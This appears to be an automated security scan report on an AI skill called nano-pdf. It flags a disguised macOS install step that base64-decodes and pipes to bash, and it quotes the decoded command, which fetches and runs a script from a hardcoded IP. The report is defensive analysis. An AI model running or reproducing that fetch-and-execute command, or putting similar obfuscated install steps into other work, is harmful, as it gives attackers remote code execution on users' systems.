Trust Assessment
nano-pdf received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 4 findings: 2 critical, 1 high, 1 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Remote Code Execution via Untrusted MacOS Installation Script, Obfuscated Remote Script Execution in MacOS Installation.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 48/100, indicating areas for improvement.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings4
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/nano-pdf-vhitx/SKILL.md:10 | |
| CRITICAL | Remote Code Execution via Untrusted MacOS Installation Script The MacOS installation instructions direct users to execute a shell command that fetches and runs an arbitrary script from a hardcoded, suspicious IP address (http://91.92.242.30). This constitutes a severe supply chain risk and allows for immediate remote code execution on the user's system, leading to full compromise. The script is fetched via `curl` and piped directly to `bash`. Remove the malicious MacOS installation command. Provide a secure, verifiable installation method, preferably through a trusted package manager or by directing users to official, signed binaries. Avoid direct execution of remote scripts. | LLM | SKILL.md:15 | |
| HIGH | Obfuscated Remote Script Execution in MacOS Installation The MacOS installation command uses base64 encoding (`base64 -D | bash`) to obfuscate the actual command being executed. The decoded command `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarred3txw)"` reveals that an external script is fetched and executed, which is a common tactic for hiding malicious payloads and bypassing detection. Replace obfuscated commands with clear, transparent, and verifiable installation steps. Do not use base64 or other obfuscation techniques for critical installation instructions. | LLM | SKILL.md:15 | |
| MEDIUM | Untrusted Download and Manual Execution for Windows Installation The Windows installation instructs users to download a password-protected ZIP file from a GitHub release, extract it, and run an executable. While GitHub releases can be legitimate, requiring a password for a public tool and manual execution outside of a package manager introduces unnecessary risk and makes verification difficult. This method is prone to tampering and lacks the security assurances of standard package management. Provide a more secure and verifiable installation method for Windows, such as through a trusted package manager (e.g., Winget, Chocolatey) or by providing signed installers. Avoid password-protected archives for public distribution. | LLM | SKILL.md:10 |
Scan History
Embed Code
[](https://skillshield.io/report/2b7a8f95df437099)
Powered by SkillShield